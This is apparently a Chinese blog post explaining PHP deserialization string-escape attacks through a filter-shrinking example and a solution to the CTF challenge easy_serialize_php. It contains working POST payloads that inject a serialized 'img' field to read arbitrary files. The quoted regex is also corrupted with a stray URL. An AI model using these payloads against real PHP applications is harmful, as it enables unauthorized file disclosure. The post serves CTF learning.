php反序列化漏洞 (3)

发现进行了过滤,将php和test转换为空
如果我们在name的参数中输入php,test等,就换转换为空,那么就会把后面的数据当成变量
而sign的参数是可控的,如果当name参数为空而读取到sign可控参数前,那么就可以通过sign的参数控制字符串用}号来闭合掉后面的
计算";s:4:"sign";s:51:"的长度为19
而过滤php一个能吞掉3个字符串,所以我们要输入7个php也就是吞掉21长度,而后面是19长度,所以我们加2个字符来补充
所以构造

name=phpphpphpphpphpphpphp sign=12";s:4:"sign";s:3:"sjj";s:6:"number";s:4:"2222";}

其中sign中12为补充使其为21长度,"号用于闭合name参数,然后可以发现,number不可变变量被改变

php反序列化漏洞

一个ctf例题([安洵杯 2019]easy_serialize_php)

题目地址:
打开题目是一段代码

<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = 'http://www.likecs.com/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST); if(!$function){ echo '<a href="http://www.likecs.com/index.php?f=highlight_file">source_code</a>'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }

php反序列化漏洞


php反序列化漏洞


先看看phpinfo中的数据,提示在d0g3_f1ag.php文件中

php反序列化漏洞

<?php $_SESSION["user"]='123'; $_SESSION["function"]='123'; $_SESSION["img"]='123'; $Lmg = serialize($_SESSION); echo $Lmg."\n"; ?>

先构造代码尝试运行结果

php反序列化漏洞


和上面原理一样要将吞掉,长度为23
";s:8:"function";s:75:"
为什么s:后是75因为s后的长度必然大于10(也就是function传入数据的长度)所以我们只要大于10小于100都行,因为数据长度不可能大于100
而flag换成空格吞掉4个字符串,所以要6个flag(当然也可以8个php:3*8=24),然后还有在function参数加一个字符串来满足吞24个字符串
所以构造数字1也就是满足24长度加的,img变量要base64,因为实际的img参数被我们给挤出去了,所说

php反序列化漏洞

这里不影响
payload(post传输):
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=1";s:8:"function";s:7:"1234567";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
然后查看显示,查看源代码:

php反序列化漏洞


将img参数读取的文件改为/d0g3_fllllllag的base64加密
payload:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=1";s:8:"function";s:7:"1234567";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

php反序列化漏洞

反序列化pop链构造

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wpsgff.html